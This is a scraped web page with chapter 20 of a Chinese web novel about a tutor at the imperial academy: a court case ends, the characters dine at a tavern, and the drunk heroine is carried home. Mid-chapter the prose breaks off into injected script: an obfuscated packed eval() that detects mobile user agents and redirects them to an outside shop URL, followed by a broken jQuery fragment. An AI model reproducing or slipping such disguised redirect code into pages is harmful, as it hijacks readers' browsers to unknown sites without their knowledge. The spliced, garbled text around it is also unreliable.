文趣网 > 其他小说 > 国子监第一班主任 > 20. 第 20 章
    等钱氏母子受完杖刑,两人已经痛得晕了过去。

    秦家人表示会请人用马车把他们送回刘村,这一以德报怨的行径获得了衙门外百姓的一致夸赞,这场一波三折的官司也终于告一段落。

    一行人披着夕阳的余晖走出了京兆府衙的大门。秦家三口向楚晞表达了谢意,秦母更是直言楚晞救了她的命:“要是厚生被钱氏抢走,等于抢走了我们夫妇的命啊!”

    知道他们劫后余生,一家人定有一肚子话要讲,楚晞贴心地表示可以让秦厚生今晚回家休息,明天一早再回国子监。

    听罢,秦家夫妇更是感激不尽,秦厚生则犹豫地看向了楚晞身后的狄崇礼:“狄司业,我......”

    楚晞一拍脑门,糟了,她又把自己当成老师了。

    她尴尬地转过头朝狄崇礼笑笑,眼神里带着两分哀求的意味,狄崇礼的嘴角抿了抿,别开了眼:“明日卯时,不可晚到。”

    “是,学生一定谨记。”秦厚生朝他们二人恭恭敬敬地行了一礼,又向陆一逸几人道了谢,才带着父母离开了。

    瞧着这一家人的背影,楚晞不禁感慨:“真好,希望今后秦厚生越变越好。”她已经感受到秦厚生态度的转变,和先前跟在赵路有身后为虎作伥的模样大相径庭。

    落辉洒在她的发梢,微风卷起她的衣摆,她就这样慈爱地望着远处,浑身散发着一股为人师表、慈爱博大的意味,只可惜背后传来的声音打破了一切。

    “哼哼,这多亏了少爷我塞给他的红苋菜汁子,要不然怎么会这么顺利?”高承武洋洋得意,又不屑地瞧了眼陆一逸,“不像某人,除了被吓得咋哇乱叫添乱外,什么都干不了。”

    陆一逸懒洋洋地反驳:“谁说的?那银票还是我找出的证据,不然怎么给钱氏定罪?”

    听见这两人的抬杠,楚晞嘴角抽了抽,突然想起了什么,她清了清嗓子,语带上扬:“是啊,多亏陆公子收买秦厚生为你抄写功课——”她说着瞧了眼身侧的狄崇礼,这让陆一逸得意的神色僵在了脸上。

    瞥见高承武幸灾乐祸的表情,她继续使坏道:“还有高公子——您大闹公堂,险些和官差动手的英姿,在我和狄司业的眼前也是挥之不去啊!”

    高承武脸色一变,和陆一逸对视一眼,两人拔腿就跑:“我们还有功课要做,先回啦!”

    话还没说完,二人已然跑得不见踪影。

    “哈哈哈......”楚晞笑着拍了拍掌,她转头正对上狄崇礼的眼睛。

    她的眼中盛满了笑意,看见他,她稍稍敛了神色,可嘴角还是扬起的:“狄司业,你就看在这俩人出了力的份儿上,饶他们一次吧。”

    狄崇礼微微侧开了头:“国有国法,家有家规,规矩不可废。”

    “哎呦,怎么又是这句啊。”楚晞苦笑一声,调侃道,“狄司业就不能网开一面吗?咱们灵活一点。”

    狄崇礼像是想起了什么,转回头看着她,问道:“就像你今日让秦厚生诈死吗?”

    “嗯?”楚晞一愣,不明白他的意思。

    狄崇礼道:“若我来断此案,定会派人去刘村细细查寻,查找当年的蛛丝马迹,可这样一来,耗时许久不说,对秦家声誉定有损害。”

    “如今这般,钱氏咎由自取,旁人也只道秦厚生可怜。”

    “世人皆言‘父母之爱子,必为之计深远’,你又为何替他考虑至此?”

    楚晞从未听他一口气讲过这么多话,她感到新鲜的同时,又被他的话勾起了回忆。

    “为什么呢......”她叹了口气,笑着望向天边的那轮红日,“也许我上辈子就是个夫子,见不得我的弟子受委屈呢?”她转过头调皮地朝他眨了下眼。

    “你......”狄崇礼有些恍惚。

    楚晞接过他的话:“所以——我们最公正公平的狄司业能不能给我个小小面子,放过他们吧。”

    “我们也算是朋友了吧?”楚晞试探着问道。

    “我——”

    狄崇礼的嘴唇刚动了动,不远处便传来一道高亢的嗓音,若是细听,还带着两分幸灾乐祸的意味:

    “哎呦,这不是林小哥吗?你可好久没见子珩了!”

    楚晞循声望去,便看见衙门口的大树下,书肆的店主正兴奋地朝她挥了挥手,而一旁是面无表情的顾衍之。

    ——

    “来!相逢便是有缘,我敬诸位一杯,也当是为林小哥今日种种祝贺,多亏有你才叫秦家没能家破人亡啊!”

    盛京久负盛名的老字号酒楼,百味居的厢房内,店主爽朗一笑,朝楚晞三人敬了杯酒。

    方才他坚持要做东为楚晞“侠肝义胆”的行径庆贺一番,出于礼节也顺道邀了狄崇礼。狄崇礼一向不爱与人应酬,本要拒绝,却在楚晞开口后应了下来。

    也就有了现在的局面。

    楚晞坐在顾、狄二人之间,瞧两人都没举杯的意思,颇为尴尬地给他捧了捧场:“店主,你太客气了,我哪有这么大本事啊。”

    “诶,别推辞了,我和子珩在衙门外看得真真的,对吧,子珩?”

    顾衍之淡淡地“嗯”了一声,见楚晞扭头看来,嘴角扯了扯。

    “子珩,你没胃口吗?”瞧他筷子都没有动,她有些担心地问。

    “还好。”他语气不冷不热,楚晞从未见过他这般,一时间有些不知所措。

    店主暗自摇了摇头,替楚晞解围:“今日瞧林小哥在公堂上据理力争,惩恶扬善,我和子珩都敬佩不已,来,我再敬你一杯。”

    楚晞举杯,笑着回道:“哪里哪里,我不过是看不惯恶人得意罢了,说起来这都多亏了狄司业。”她扭头看向身旁的狄崇礼,又给自己倒了杯酒,“狄司业,我敬你一杯!”

    狄崇礼举杯,眼中闪过一丝动容。

    “多亏司业你查出线索,否则后果不堪设想。”

    “过奖了,也是你急中生智,心存仁善。”

    店主瞥了眼神色漠然的顾某人,心道真是造孽,但幸好紧接着楚晞就看向了顾衍之:“子珩,我也敬你一杯,上次多亏有你在,才能拦下秦厚生。”

    顾衍之微微一怔,瞧她喝得急,终于开口劝道:“莫要再喝了,仔细醉了。”

    楚晞摆摆手,满不在乎:“放心放心,我酒量好得很,再说今天我好高兴啊。”这是她穿越至此以来最痛快的一次,只觉得心口微涨,举止也开始不受控。

    “我也觉得林小哥侠肝义胆,我再敬你一杯。”店主笑着饮完酒,眼神一转,突然说起旁的:“说起来,林小哥可曾养过猫?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675420|206505||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    顾衍之抬眸警告地看了他一眼,店主不为所动,继续等着楚晞的反应。

    “没有,我不会太养。”楚晞有些不好意思摇摇头。

    “没事儿,说不定将来就养了呢。”店主笑着托起下巴,饶有兴致地看着她,“这养猫可是门学问,你不能冷着他,也不能太惯着他。冷了他就会阴阳怪气,变着法儿地给你寻不自在,尤其是瞧见你理会了旁的,他死要面子又不肯主动,便只能生闷气,盼着你来哄他。”

    “可你也不能太惯着他,惯着惯着他就得意了,忘形了,总想着蹬鼻子上脸,所以你得把握好度。”

    他说得眉飞色舞,可楚晞却听得一头雾水,总觉得店主的话不像表面那么简单。只是眼前的视线愈发变得模糊,她努力晃晃头,晕眩的感觉不减反增。

    顾衍之率先注意到她的异样,伸手轻轻扶住了她:“怎么?醉了?”

    楚晞刚想摆手否认,可突然想到这具身体原不是自己的......看来原主楚晞的酒量不怎么样。

    见她的脸颊开始变得绯红,顾衍之知道她酒劲已经上来了,要了碗醒酒汤,便要带人离开,却听狄崇礼道:“交给我吧,我送林典籍回去。”

    顾衍之动作一顿,揽着人肩膀的手添了两分力:“不劳狄司业费心。”

    “我与林典籍同在国子监,何谈‘费心’二字?”狄崇礼紧皱眉头,看向顾衍之的目光带了些不悦。

    “我与林舒乃至交好友,狄大人事务繁多,还是回去歇息吧。”

    顾衍之说着便揽起楚晞的身体往外走,狄崇礼被他冷淡傲慢的语气激怒,跟着站起了身,刚要追上去争辩,却被店主拦了下来:“狄司业——久闻狄大人才高八斗,当年连中三元的佳话人尽皆知,在下实在佩服,佩服!”

    碍于礼节,狄崇礼应付了店主几句,等他终于脱了身走出百味居,却已不见两人的踪影。

    看着空荡荡的街道,狄崇礼面色如这夜色般黑沉。

    ——

    顾衍之带着楚晞走得很快。

    她的酒量实在是浅,几杯下肚已经分不清东南西北,整个人几乎靠在他的身上,脑袋也无力地倚在他肩上,软绵绵的。

    顾衍之有些不自在,刚要稍稍拉开些距离,怀里人的身体却突然一软,脑袋向前一栽,他赶忙上前一步,在人摔倒前拥住了她。

    他无奈地叹了口气,瞧着她酡红的两颊,知道她已经完全醉了过去,思索片刻,将人抱了起来。

    她实在是轻,抱在怀里像是揣了个宝贝似的。

    顾衍之脚下一点,轻松地越过了国子监的外墙,绕过巡卫,将人送到了监舍。

    刚把人放到床上,他正要为她脱下外衣,她猛地开始挣扎起来,身体也不停地扭动着,硬是不让他碰。

    “林舒,你乖一些,这样才能睡得舒服些。”他无奈地出声哄道,可床上的人却像是犯了梦魇似的,嘴里不停地喃喃着什么,他俯下身凑上去想要听清,不料她猛地扭头——

    柔软而湿润的物什自脸颊擦过......

    引得他心湖泛起一圈涟漪......

    “子珩哥?你怎么在这里?”

    顾衍之抬眸,只见陆一逸站在门口,一双大眼瞪得浑圆,显然看到了方才的场景。